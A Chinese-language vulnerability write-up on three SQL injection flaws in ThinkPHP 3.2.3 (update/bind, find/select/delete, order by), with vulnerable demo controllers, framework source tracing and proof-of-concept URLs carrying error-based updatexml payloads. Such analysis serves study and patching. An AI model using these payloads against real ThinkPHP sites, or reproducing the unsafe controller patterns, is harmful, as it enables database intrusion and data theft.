ThinkPHP3.2.3【完整版】下载地址:http://www.thinkphp.cn/down/framework/p/2.html
ThinkPHP 3.2.3
环境配置
Application/Common/Conf/config.php
<?php
return array(
//'配置项'=>'配置值'
'DB_TYPE' => 'mysql', // 数据库类型
'DB_HOST' => '127.0.0.1', // 数据库地址
'DB_NAME' => 'test', // 数据库名
'DB_USER' => 'root', // 数据库用户
'DB_PWD' => '123456', // 数据库密码
'DB_PORT' => '3306', // 数据库端口
'DB_PREFIX' => '', // 数据库表前缀
'SHOW_PAGE_TRACE' => 'true', // 获取页面详细信息,方便调试
);
?>
1、update(bind) SQL注入漏洞
版本:Thinkphp <= 3.2.3
在Application/Home/Controller 下实例化UserController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
class UserController extends Controller {
public function index(){
$User = M("test"); // test是test数据库下的表
$user['id'] = I('id'); // $user传入where中,跟进id值修改name或age值
$data['name'] = I('name');
$data['age'] = I('age');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
}
POC:
/index.php/Home/user?id[0]=bind&id[1]=0 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))&name[]=wang&age=1
全局代码分析
/ThinkPHP/Common/functions.php,并没对BIND进行过滤
官方文档中:http://document.thinkphp.cn/manual_3_2.html#update_data 数据更新操作方式
看看数据是如何保存更新的
跟进save函数,通过前面的数据处理解析服务端数据库中的数据字段信息,字段数据类型,再到_parseOptions表达式分析,获取到表名,数据表别名,记录操作的模型名称,再去调用回调函数进入update
ThinkPHP/Library/Think/Model.class.php
public function save($data='',$options=array()) {
if(empty($data)) {
// 没有传递数据,获取当前数据对象的值
if(!empty($this->data)) {
$data = $this->data;
// 重置数据
$this->data = array();
}else{
$this->error = L('_DATA_TYPE_INVALID_');
return false;
}
}
// 数据处理
$data = $this->_facade($data);
if(empty($data)){
// 没有数据则不执行
$this->error = L('_DATA_TYPE_INVALID_');
return false;
}
// 分析表达式
$options = $this->_parseOptions($options);
$pk = $this->getPk();
if(!isset($options['where']) ) {
// 如果存在主键数据 则自动作为更新条件
if (is_string($pk) && isset($data[$pk])) {
$where[$pk] = $data[$pk];
unset($data[$pk]);
} elseif (is_array($pk)) {
// 增加复合主键支持
foreach ($pk as $field) {
if(isset($data[$field])) {
$where[$field] = $data[$field];
} else {
// 如果缺少复合主键数据则不执行
$this->error = L('_OPERATION_WRONG_');
return false;
}
unset($data[$field]);
}
}
if(!isset($where)){
// 如果没有任何更新条件则不执行
$this->error = L('_OPERATION_WRONG_');
return false;
}else{
$options['where'] = $where;
}
}
if(is_array($options['where']) && isset($options['where'][$pk])){
$pkValue = $options['where'][$pk];
}
if(false === $this->_before_update($data,$options)) {
return false;
}
$result = $this->db->update($data,$options);
if(false !== $result && is_numeric($result)) {
if(isset($pkValue)) $data[$pk] = $pkValue;
$this->_after_update($data,$options);
}
return $result;
}
前面是判断传入的数据是否为空的处理,跟进分析表达式处理_parseOptions
**
_parseOptions方法,ThinkPHP/Library/Think/Model.class.php
经过_parseOptions方法,返回options数组
再次回到save方法,跟进update方法
跟进update方法,ThinkPHP/Library/Think/Db/Driver.class.php,
看看为什么会出现冒号
这里需要看看parseWhere里的parseWhereItem方法
ThinkPHP/Library/Think/Db/Driver.class.php
当使用bind方式操作数据,就会对sql语句进行拼接,这里就是冒号出现由来
再次回到update方法,看看最后返回的sql语句(确实出现冒号),最后传入execte方法
再跟进execte函数,ThinkPHP/Library/Think/Db/Driver.class.php
再回到parseWhereItem方法中,当id[0]=bind&id[1]=1时,拼接有冒号
当id[0]=bind&id[1]=0时,这里并没有执行,直接跳过了
对于后面传入id值确实是可以控制,但为了使得注入,需要将 :1 给替换掉
替换为0,传入id=0,也被替换以set后面参数为准,并且 : 也被替换
2、find_select_delete** **SQL注入漏洞
版本:Thinkphp <= 3.2.3
在Application/Home/Controller 下实例化TestSqlFindController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
class TestSqlFindController extends Controller {
public function index(){
$data = M('test')->find(I('id'));
# $data = M('test')->delete(I('id'));
# $data = M('test')->select(I('id'));
var_dump($data);
}
}
POC:
# find、delete、select函数
/index.php/Home/TestSqlFind?id[where]=2 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
代码分析
/Library/Think/Model.class.php,跟进find函数
重点是_parseOptions函数,因为上面流程都不会执行
/Library/Think/Model.class.php,再次跟进_parseOptions函数
array_merge函数:把一个或多个数组合并为一个数组,也是漏洞触发点
字段类型验证跳过
_options_filter方法为空,直接忽略
返回find函数中
/Library/Think/Db/Driver.class.php,跟进select函数
/Library/Think/Db/Driver.class.php,跟进buildSelectSql函数
/Library/Think/Db/Driver.class.php,跟进parseSql函数
直接将$options表达式进行拼接
除了find函数,select、delete都存在此问题
add、addAll、save函数第二个参数可控,也存在此问题
3、order by** **SQL注入漏洞
版本:Thinkphp <= 3.2.3
在Application/Home/Controller 下实例化TestOrderbyController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
class TestOrderbyController extends Controller{
public function index(){
$order = I('get.order');
$User = M('test') -> order($order) -> limit(3)-> select();
dump($User);
}
}
?>
POC:**
/index.php/Home/TestOrderby?order=updatexml(1,concat(0x3a,user()),1)
/index.php/Home/TestOrderby?order[updatexml(1,concat(0x3a,user()),1)]
/index.php/Home/TestOrderby?order[updatexml(1,concat(0x3a,user()),1)]=#1
代码分析
/Library/Think/Db/Driver.class.php,只对$order进行了判断,并没有进行过滤
(我下载的Thinkphp 3.2.3,parseOrder代码很少,跟网上不太一样)**